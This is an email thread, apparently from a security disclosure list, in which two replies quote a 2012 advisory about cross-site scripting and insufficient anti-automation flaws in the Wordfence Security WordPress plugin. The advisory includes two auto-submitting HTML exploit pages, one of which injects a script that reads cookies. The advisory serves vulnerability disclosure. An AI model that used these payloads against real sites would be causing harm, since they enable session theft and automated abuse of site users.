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Re: XSS and IAA vulnerabilities in Wordfence Security for WordPress
From: Troy Rose <troyjrose () gmail com>
Date: Tue, 23 Oct 2012 16:53:42 +1100

Its a bit like having a security alarm for an open door, IMHO.

On 20 October 2012 04:37, Philip Whitehouse <philip () whiuk com> wrote:

Hmm,

Another 'security' plugin with vulnerabilities...

What exactly is the point of them? Even in an ideal world surely WP should
be secure anyway - doesn't it just increase the attack surface?

Philip Whitehouse

On 19 Oct 2012, at 18:16, "MustLive" <mustlive () websecurity com ua> wrote:

Hello list!

I want to warn you about Cross-Site Scripting and Insufficient
Anti-automation vulnerabilities in Wordfence Security for WordPress.

Wordfence - it's security plugin for WordPress.

-------------------------
Affected products:
-------------------------

Vulnerable are Wordfence Security 3.3.5 and previous versions.

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Details:
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XSS (WASC-08):

Wordfence Security XSS.html

<html>
<head>
<title>Wordfence Security XSS exploit (C) 2012 MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/?_wfsf=unlockEmail"; method="post">
<input type="hidden" name="email"
value="<script>alert(document.cookie)</script>">
</form>
</body>
</html>

Insufficient Anti-automation (WASC-21):

Wordfence Security IAA.html

<html>
<head>
<title>Wordfence Security IAA exploit (C) 2012 MustLive.
http://websecurity.com.ua</title>
</head>
<body onLoad="document.hack.submit()">
<form name="hack" action="http://site/?_wfsf=unlockEmail"; method="post">
<input type="hidden" name="email" value="admin () e-mail com">
</form>
</body>
</html>

I've informed the plugin developer about vulnerabilities. And mentioned
about these vulnerabilities at my site (http://websecurity.com.ua/6106/
).

Best wishes & regards,
MustLive
Administrator of Websecurity web site
http://websecurity.com.ua


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